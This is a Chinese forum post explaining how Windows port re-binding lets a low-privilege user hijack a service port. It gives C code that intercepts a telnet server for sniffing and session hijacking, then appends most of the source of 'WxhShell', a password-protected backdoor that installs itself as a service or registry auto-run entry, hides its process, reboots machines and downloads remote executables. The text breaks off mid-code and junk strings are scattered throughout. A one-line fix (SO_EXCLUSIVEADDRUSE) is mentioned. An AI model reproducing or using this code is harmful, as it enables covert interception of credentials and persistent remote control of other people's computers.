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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: hrM"Zg  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Yn[x #DS  
;x>;jS.t  
  saddr.sin_family = AF_INET; B {i&~k  
x9`ZO< L$  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); NFoZ4R1gy  
O=O(3Pf>  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); W:ixzpQ  
'=%i,  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 qU6BA \ZL  
ti;%BS  
  这意味着什么?意味着可以进行如下的攻击: urxqek  
j-P^Zv};u  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 l Z~+u  
Rc7.M"wzjX  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) f sX;Nj]  
]]V^:"ne  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `Wwh`]#"~d  
QBjY&(vY  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  GHrBK&  
2?*1~ 5~I  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7dhn'TW  
=w,(M  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 `1p?*9Ssn  
JE%i-UVH+;  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 & 3I7]Wm  
y%g`FC   
  #include hd=j56P5P  
  #include 0- Yeu5A  
  #include o;'4c  
  #include    K#U{<pUP  
  DWORD WINAPI ClientThread(LPVOID lpParam);   EreAn  
  int main() _9qEZV  
  { /op/g]O}  
  WORD wVersionRequested; z5I^0'  
  DWORD ret; x_pMG!2  
  WSADATA wsaData; ^"/Dih\_  
  BOOL val; I]UA0[8X  
  SOCKADDR_IN saddr; $u- lo|  
  SOCKADDR_IN scaddr; YmA) @1@U  
  int err; a#6,#Q"  
  SOCKET s; t;~-_{  
  SOCKET sc; /T4VJ{D  
  int caddsize; FRD<0o/`  
  HANDLE mt; GHqBnE{B  
  DWORD tid;   zZw@c?  
  wVersionRequested = MAKEWORD( 2, 2 ); 0I6499FQ  
  err = WSAStartup( wVersionRequested, &wsaData ); gtl;P_  
  if ( err != 0 ) { pIrv$^  
  printf("error!WSAStartup failed!\n"); N+[}Gb"8q  
  return -1; olslzXn7o  
  } T=O l`?5  
  saddr.sin_family = AF_INET; iu+zw[f  
   SSo~.)J  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1_XO3P\  
5!2J;.&  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); T\.7f~3  
  saddr.sin_port = htons(23); C!oksI  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) CrT2#h 1#  
  { =k_XKxd  
  printf("error!socket failed!\n"); aslNlH6  
  return -1; gA|!$ EAM  
  } a'o}u,e5  
  val = TRUE; dW:w<{a!R  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 |A2W8b {]  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) lsN /$ M|}  
  { :tg@HyY)  
  printf("error!setsockopt failed!\n"); ,Uv{dG  
  return -1; 1 NB2y[  
  } H ,01o5J  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; A)~ /~  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 @|jKO5Y  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 -%7Jj;yA  
MLEIx()  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ~Tpe,juG_  
  { & bp#1KR)  
  ret=GetLastError(); `bBfNI?3d*  
  printf("error!bind failed!\n"); !- Cs?  
  return -1; Qq @_Z=mt  
  } YqK+F=0  
  listen(s,2); rQ 9?N^&!%  
  while(1) /gMa"5?,  
  { :e5:\|5*5  
  caddsize = sizeof(scaddr); QE`:jxyad  
  //接受连接请求 )Gu0i7iN  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2^k^"<h5j  
  if(sc!=INVALID_SOCKET) `[g# Mxw  
  { 3N)Ycf8  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~_/<PIm  
  if(mt==NULL) qcpG}o+&D  
  { fwar8 i1  
  printf("Thread Creat Failed!\n"); kHz+ ZY<?  
  break; ly[\mGr  
  } Azdz3/  
  } Lv`8jSt\  
  CloseHandle(mt); Ah8^^h|TPJ  
  } S>vVjq?~l(  
  closesocket(s); [1Qk cR  
  WSACleanup(); -=v/p*v0o  
  return 0; r7wx?{~ 28  
  }   OoU'86)  
  DWORD WINAPI ClientThread(LPVOID lpParam) 2:6Y83  
  { K"t:B  
  SOCKET ss = (SOCKET)lpParam; nEZ-h7lzl(  
  SOCKET sc; ,_TH@0{   
  unsigned char buf[4096]; pRDON)$  
  SOCKADDR_IN saddr; ,~ia$vI}R  
  long num; f6aT[Nw<  
  DWORD val; I1}{~@  
  DWORD ret; S9F]!m^i  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @poMK:  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   b|V4Fp  
  saddr.sin_family = AF_INET; L3h xe]mr  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ys"mP* wD  
  saddr.sin_port = htons(23); s].'@_~s  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,co9f.(w  
  { ck4T#g;=  
  printf("error!socket failed!\n"); EL)/5-=S  
  return -1; \Im \*A   
  } U K]{]-  
  val = 100; Zia|`}peW  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f4\p1MYQ  
  { cO"Xg<#y  
  ret = GetLastError(); 4'4s EjyA  
  return -1; |Bf:pG!  
  } ~%!U,)-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~"4vd 3  
  { q0KXuMK  
  ret = GetLastError(); 5 xzB1n8  
  return -1; Hh'14n&W  
  } LZAj4|~,m  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) WU4vb  
  { gm%bxr@X~  
  printf("error!socket connect failed!\n"); C,e$g  
  closesocket(sc); Q!A3hr$IF  
  closesocket(ss); fylA 0{  
  return -1; $8yGY  
  } "GC]E8&>H  
  while(1) \5pAG mgD  
  { r(xlokpnb6  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 \oZUG  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 FSZoT!  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 hq[ gj?P  
  num = recv(ss,buf,4096,0); ~b<4>"7y.  
  if(num>0) v]Q_  
  send(sc,buf,num,0); [ BC%$Sj  
  else if(num==0) Pge}xKT  
  break; `h{mj|~  
  num = recv(sc,buf,4096,0); ALieUf  
  if(num>0) IqJ=\  
  send(ss,buf,num,0); dcTM02kEh  
  else if(num==0) 9 8BBsjkd  
  break; la{:RlW  
  } VKJ~ZIO@A  
  closesocket(ss); vrO$8* sy  
  closesocket(sc); nXaX=  
  return 0 ; !U~#H_  
  } 5i-;bLm  
kvVz-P Jy  
fB"gM2'  
========================================================== "?(Fb_}i  
ymVd94L  
下边附上一个代码,,WXhSHELL  KGwL09)  
, p=8tf#  
========================================================== g<tTZD\g  
mSw?iL  
#include "stdafx.h" d3J_IW+8R$  
tSLl'XeN  
#include <stdio.h> 72.IhBNtT  
#include <string.h> 4z DAfi#0  
#include <windows.h> n\al}KG  
#include <winsock2.h> tpzdYokh >  
#include <winsvc.h> =QO[zke:  
#include <urlmon.h> L"<Eov6  
bjX$idL  
#pragma comment (lib, "Ws2_32.lib") zk~rKQ,  
#pragma comment (lib, "urlmon.lib") 84\o7@$#  
=C2C~Xd  
#define MAX_USER   100 // 最大客户端连接数 yj9gN}+  
#define BUF_SOCK   200 // sock buffer uy\+#:44d  
#define KEY_BUFF   255 // 输入 buffer <?}g[]i  
1h0ohW  
#define REBOOT     0   // 重启 `3s-\>  
#define SHUTDOWN   1   // 关机 #$)rwm.jW?  
1OeDWEcB  
#define DEF_PORT   5000 // 监听端口 u <2sb;a  
[cs8/Q8+  
#define REG_LEN     16   // 注册表键长度 D4-U[l+K>  
#define SVC_LEN     80   // NT服务名长度 j2n@8sCSO  
$X]v;B)J|  
// 从dll定义API pD/S\E0@t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d0,F'?.0|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jd'R2e  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,gD i)]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \Nyxi7  
I2Rp=L:z5  
// wxhshell配置信息 hY9u#3  
struct WSCFG { QX|K(`of  
  int ws_port;         // 监听端口 7!)%%K.z6  
  char ws_passstr[REG_LEN]; // 口令 4 l(o{{  
  int ws_autoins;       // 安装标记, 1=yes 0=no LvdMx]*SSr  
  char ws_regname[REG_LEN]; // 注册表键名 j(2T,WM  
  char ws_svcname[REG_LEN]; // 服务名 =LzW#s=O  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 t9{EO#o' k  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 v[GHqZ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 xb>+~59:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no rP_)*)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |XZf:}q5:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s:H1v&t,<  
{}e IpK,+  
}; UkKpS L}Q2  
n4,J#h/  
// default Wxhshell configuration 58,mu#yq6  
struct WSCFG wscfg={DEF_PORT, #\QC%"%f  
    "xuhuanlingzhe", AR^Di`n!  
    1, M$9h)3(B  
    "Wxhshell", O:)@J b2  
    "Wxhshell", 2T5ZbXc+x  
            "WxhShell Service", qMOD TM~+  
    "Wrsky Windows CmdShell Service", I^=M>_ s4  
    "Please Input Your Password: ", X.qKG0i  
  1, gX<C-y6o  
  "http://www.wrsky.com/wxhshell.exe", f 5Oh#  
  "Wxhshell.exe" DK;-2K  
    }; ipG+qj/=  
3E-&8x7uYR  
// 消息定义模块 r9[J3t*({~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]vMft?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^gImb`<6-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `N+ P ,  
char *msg_ws_ext="\n\rExit."; ~MF. M8  
char *msg_ws_end="\n\rQuit."; 4<|]k?@  
char *msg_ws_boot="\n\rReboot..."; SbY i|V,H  
char *msg_ws_poff="\n\rShutdown..."; vr$ [  
char *msg_ws_down="\n\rSave to "; sXA=KD8  
Zh*I0m   
char *msg_ws_err="\n\rErr!"; KMa?2cJH#  
char *msg_ws_ok="\n\rOK!"; G(i/ @>l  
,O(uuq  
char ExeFile[MAX_PATH]; KVBz=  
int nUser = 0; 3c)xNXq m  
HANDLE handles[MAX_USER]; hdzaU&w  
int OsIsNt; Jh1fM`kB5K  
~<-i7uM  
SERVICE_STATUS       serviceStatus; <>cajQ@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; H`sV\'`!}  
*"wsMO  
// 函数声明 38 F8(QU{  
int Install(void); 3~ylBJJ  
int Uninstall(void); ? T9-FGW  
int DownloadFile(char *sURL, SOCKET wsh); 8l6R.l  
int Boot(int flag); 'a}pWkLB  
void HideProc(void); %5b2vrg~*  
int GetOsVer(void); JdE=!~\8  
int Wxhshell(SOCKET wsl); gO29:L[t  
void TalkWithClient(void *cs); xpae0vw  
int CmdShell(SOCKET sock); ^VD14V3  
int StartFromService(void); !U@[lBW  
int StartWxhshell(LPSTR lpCmdLine); 5^qI6 U  
yfj<P/aA+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); yo5|~"yZY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +]G;_/[2  
9kcAMk1K  
// 数据结构和表定义 \O[Cae:^?  
SERVICE_TABLE_ENTRY DispatchTable[] = u?!p[y6  
{ MOXDR  
{wscfg.ws_svcname, NTServiceMain}, opKtSF|)  
{NULL, NULL} 8d-_'MXk3  
}; K:mb$YJ&  
krgsmDi7  
// 自我安装 Q!c*2hI  
int Install(void) a4?:suX$  
{ {C [7V{4(%  
  char svExeFile[MAX_PATH]; Xr-eDUEi  
  HKEY key; X=lOwPvP  
  strcpy(svExeFile,ExeFile); IYd)Vv3'j  
-Y D6  
// 如果是win9x系统,修改注册表设为自启动 e(cctC|l  
if(!OsIsNt) { t ;(kSg.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H13|bM<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tJc9R2  
  RegCloseKey(key); mjf U[2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0EOpK%{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `zF=h#i  
  RegCloseKey(key); +`zM^'^$  
  return 0; g9g^zd,  
    } lCDXFy(E  
  } D{~I  
} ~!\n  
else { z>~Hc8*]3  
sJ,:[  
// 如果是NT以上系统,安装为系统服务 x,pzX(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lIz"mk  
if (schSCManager!=0) ?J|~ G{yH  
{ Zj%l (OVq  
  SC_HANDLE schService = CreateService 4$C:r&K  
  ( x pT85D  
  schSCManager, "9aiin  
  wscfg.ws_svcname, ;CD@RP{$n  
  wscfg.ws_svcdisp, 6p])2]N>p  
  SERVICE_ALL_ACCESS, x xWnB  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8V?O=3<a  
  SERVICE_AUTO_START, })%WL;~  
  SERVICE_ERROR_NORMAL, @#xh)"}  
  svExeFile, 1*,f  
  NULL, F<VoPqHq  
  NULL, 9v=5x[fE  
  NULL, 8SR~{  
  NULL, # **vIwX-Q  
  NULL ] X%T^3%G  
  ); kO>F, M  
  if (schService!=0) XDRw![H,~  
  { v47Y7s:uQ  
  CloseServiceHandle(schService); `KgIr,Q)  
  CloseServiceHandle(schSCManager); 'tm%3` F  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3=SIIMp7=  
  strcat(svExeFile,wscfg.ws_svcname); 4Hc+F(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ( E;!.=%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); b=(?\  
  RegCloseKey(key); 6qp2C]9=  
  return 0; w a7)  
    } ;n0VF77>O  
  } ,e<(8@BBL  
  CloseServiceHandle(schSCManager); ~;> psNy  
} G;Jqby8d  
} Kw_> X&GcJ  
:!Ea.v  
return 1; HuzHXn)  
} 99)md   
IWc?E  
// 自我卸载 x=]PE}<E  
int Uninstall(void) +a7J;-|  
{ ;]XKe')  
  HKEY key; fR]%:'2k  
&ZmWR  
if(!OsIsNt) { 1HPYW7jk@"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (^,4{;YQ5  
  RegDeleteValue(key,wscfg.ws_regname); NWx.l8G  
  RegCloseKey(key); c0}* $e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :s(vn Ie^  
  RegDeleteValue(key,wscfg.ws_regname); afE`GG-  
  RegCloseKey(key); fZ8at  
  return 0; X=_`$ 0  
  } (x"TM),Q  
} `GGACH3#s  
} 4Og&w]  
else { 9'tOF  
gpt98:w:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); C B&$tDi  
if (schSCManager!=0) @!;EW R]  
{ ~_|OGp_a  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;}/@ar7s3  
  if (schService!=0) X }UR\8g  
  { &tKr ?l  
  if(DeleteService(schService)!=0) { YSQB*FBz  
  CloseServiceHandle(schService); _DlkTi5(w  
  CloseServiceHandle(schSCManager); #a : W  
  return 0; ~i3/Ec0\  
  } 1#o>< ?  
  CloseServiceHandle(schService); P8Nzz(JF  
  } e~Hx+Qp.G  
  CloseServiceHandle(schSCManager); <X5'uve  
} ?z "fp$  
} )qi/>GR,  
Ai99:J2k  
return 1; bu&x& M*  
} XI>|"*-l  
O^tH43C  
// 从指定url下载文件 }M9R5!=q  
int DownloadFile(char *sURL, SOCKET wsh) +@ '( N  
{ $m$tfa-  
  HRESULT hr; [8T  
char seps[]= "/"; ?k6P H"M  
char *token; y(I_ 6+B^  
char *file; J|ni'Hb  
char myURL[MAX_PATH]; ?52{s"N0>  
char myFILE[MAX_PATH]; pH#*:v!)  
pWU3?U  
strcpy(myURL,sURL); UIpW#t  
  token=strtok(myURL,seps); N S^(5g  
  while(token!=NULL) K2= `.  
  { aFZu5-=x  
    file=token; s|/m}n  
  token=strtok(NULL,seps); vY+{zGF  
  } =N _7DT  
QFg,pTj  
GetCurrentDirectory(MAX_PATH,myFILE); 1KH]l336D"  
strcat(myFILE, "\\"); >g):xi3qK  
strcat(myFILE, file); {i:5XL   
  send(wsh,myFILE,strlen(myFILE),0); Xp(e/QB  
send(wsh,"...",3,0); 3$]SP1Mc(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); aWp9K+4R$/  
  if(hr==S_OK) OokBi 02b  
return 0; mp^;8??;  
else nG0Uv%?{pj  
return 1; DXbzl +R  
8 *Fr=+KN  
} c5>'1L  
e ]@Ex  
// 系统电源模块 .zm'E<  
int Boot(int flag) UfE41el:  
{ =cy;{2S'p  
  HANDLE hToken; Hk65c0  
  TOKEN_PRIVILEGES tkp; *O`76+iZ|_  
%s]l^RZ  
  if(OsIsNt) { pq \M;&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); k\:f2%!!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d+9T}? T:*  
    tkp.PrivilegeCount = 1; "82<}D^;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lX)RG*FlTC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4JF8S#8B  
if(flag==REBOOT) { 8vN}v3HV&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }v0IzGKs  
  return 0; D,aJ`PK~  
} $gYy3y  
else { W#p A W  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Y,v8eOo45S  
  return 0; Jm%hb ,  
} *{5L*\AZ  
  } bL=32YS  
  else { w|6;Pf~1y)  
if(flag==REBOOT) { {J:ZM"GS  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =4RBHe8`  
  return 0; G\ twx ;  
} vXUrS+~x  
else { _IAvFJI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) OL{U^uOhY  
  return 0; :!vDX2o)\  
} .x__X3P>\  
} GHQa{@m2V  
i!/V wGg  
return 1; ~jd:3ip+!  
} %@<}z|.4  
w%,Iy, G@  
// win9x进程隐藏模块 5a9PM(  
void HideProc(void) s'LY)_n  
{ &`7tX.iMlh  
nq#k}Qx:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); A[lkGQtS4  
  if ( hKernel != NULL ) cad%:%p  
  { l?_Iu_Qp  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F+vgkqs@9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5S'89 r3m  
    FreeLibrary(hKernel); =G*rfV@__V  
  } YQ>M&lnQ<  
B7qm;(?X&  
return; M%f96XUM  
} Y_&D W4  
&Y"u*)bm  
// 获取操作系统版本 brN:Ypf-e  
int GetOsVer(void) -yt[0  
{ DSyfF&uC  
  OSVERSIONINFO winfo; d$<HMs:o@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); C?Dztkz  
  GetVersionEx(&winfo); _yT Gv-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3O<:eS~  
  return 1; CuPZ0  
  else ^JF6L`Tp  
  return 0; '+BcPB?E  
} wmFI?   
U/E M(y  
// 客户端句柄模块 d?_Bll"  
int Wxhshell(SOCKET wsl) C|c'V-f  
{ fU_itb(  
  SOCKET wsh; hVRpk0IJDK  
  struct sockaddr_in client; m4(:H(Za  
  DWORD myID; <#w0=W?  
)'(7E$d  
  while(nUser<MAX_USER) q#Az\B:  
{ O<l_2?S1  
  int nSize=sizeof(client); D`3m%O(?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W:8_S%~d  
  if(wsh==INVALID_SOCKET) return 1; [*w^|b ?  
Cul^b_UmP#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %..{c#V  
if(handles[nUser]==0) ?!1K@/!  
  closesocket(wsh); :.6kXX'~  
else xlF$PpRNM  
  nUser++; v-2O{^n  
  } a6"Pe07t  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); PiXegh WH  
UOH2I+@V  
  return 0; tsR\c O~/  
} A1x?_S"a  
.r+u pY  
// 关闭 socket J3cbDE%^m  
void CloseIt(SOCKET wsh) j`Fsr?]/  
{ %qL0=ad  
closesocket(wsh); ~]BxM9  
nUser--; F`-|@k  
ExitThread(0); BO<I/J~b  
} gJ cf~@s  
R"#DR^.;  
// 客户端请求句柄 6j@3C`Yd  
void TalkWithClient(void *cs) xM}lX(V!w  
{ <Hl.MS  
~|kre:j9  
  SOCKET wsh=(SOCKET)cs; EaGh`*"w(7  
  char pwd[SVC_LEN]; OoTMvZP[  
  char cmd[KEY_BUFF]; 6f/>o$  
char chr[1]; ,2S w6u  
int i,j; / 2>\Z(  
:a#Mq9ph!  
  while (nUser < MAX_USER) { {-D2K:m  
= 7pLU+ u  
if(wscfg.ws_passstr) { ?it49  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6O8'T`F[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VqV6)6   
  //ZeroMemory(pwd,KEY_BUFF); 6=a($s!   
      i=0; )MqF~[k<-  
  while(i<SVC_LEN) { Y}%=:Yt  
{^ 1s  
  // 设置超时 kb{h`  
  fd_set FdRead; '|Dm\cy  
  struct timeval TimeOut; R}7>*&S:  
  FD_ZERO(&FdRead); !4 `any  
  FD_SET(wsh,&FdRead); =FUORj\O  
  TimeOut.tv_sec=8; }8J77[>/  
  TimeOut.tv_usec=0; m~ :W$x1+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hyv*+FV;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +ew2+2  
9v&{; %U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~]8bTw@  
  pwd=chr[0]; ]etLobV  
  if(chr[0]==0xd || chr[0]==0xa) { 95jJ"4a+  
  pwd=0; e#]=-^  
  break; } XVz?6  
  } e.9oB<Etp  
  i++; wZN<Og+;  
    } P [-2^1P"  
w A<JJ_R  
  // 如果是非法用户,关闭 socket Rr+Y::E  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |r_S2)zH9m  
} +*-u_L\'  
i9fK`:)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2}:scag  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j&)"a,f  
8_WFSF^  
while(1) { OLpE0gZ.|`  
-ZqN~5>j)  
  ZeroMemory(cmd,KEY_BUFF); "2:]9j  
13(JW  
      // 自动支持客户端 telnet标准   k6-.XW  
  j=0; m5Gt8Z 6a  
  while(j<KEY_BUFF) { fhlhlOg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z1A[rbe=4w  
  cmd[j]=chr[0]; 3Tv;<hF  
  if(chr[0]==0xa || chr[0]==0xd) { +FiM?,G  
  cmd[j]=0; A`2l;MW  
  break; ]l.y/pRP5[  
  } Zn&S7a>7  
  j++; }|>mR];  
    } y1P KoN|K  
ka3Jqy4[  
  // 下载文件 AK%2#}k.  
  if(strstr(cmd,"http://")) { Z"rrbN1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); HH/ bBM!  
  if(DownloadFile(cmd,wsh)) `Cy-*$$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `ro~l_U;A  
  else ;KqH]h)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ><9E^ k0.  
  } X=]FVHV;  
  else { \5.36Se  
NFpR jC?  
    switch(cmd[0]) { }Jkz0JY~  
  L/,#:J  
  // 帮助 $OU,| D  
  case '?': { !}fq%8"-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1+6)0 OH{  
    break; DEEQ/B{  
  } G/T oiUY  
  // 安装 )Cl!,m)~  
  case 'i': { 6rlafISvO  
    if(Install()) R/ 5aIh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $OMTk  
    else W.b?MPy]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K~Lh'6  
    break; 1j7^2Y|UT`  
    } .: ~);9kj  
  // 卸载 $oKT-G  
  case 'r': {  a~>.  
    if(Uninstall()) 3B|?{U~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8z\v|-%Z  
    else |E:q!4?0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  ;ew j  
    break; zFVNb  
    } PYWp2V/  
  // 显示 wxhshell 所在路径 \[</|]'[  
  case 'p': { RK%N:!f q=  
    char svExeFile[MAX_PATH]; f4F13n_0X  
    strcpy(svExeFile,"\n\r"); &K Ti[  
      strcat(svExeFile,ExeFile); WN8XiV  
        send(wsh,svExeFile,strlen(svExeFile),0); !Cse,6/Z  
    break; 20glz(  
    } ];cJIa  
  // 重启 Ubtu?wRBW  
  case 'b': { YCJcDab  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yTj!(C  
    if(Boot(REBOOT)) bF'Y.+"dr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dN'2;X  
    else { d&mSoPf  
    closesocket(wsh); $ {29[hO  
    ExitThread(0); @wa2Z  
    } Ww8<f$  
    break; <\i}zoPO  
    } W$_}lE$  
  // 关机 !*Hgl\t6a  
  case 'd': { \Km gFyF  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b5r.N1ms  
    if(Boot(SHUTDOWN)) FdrH,  
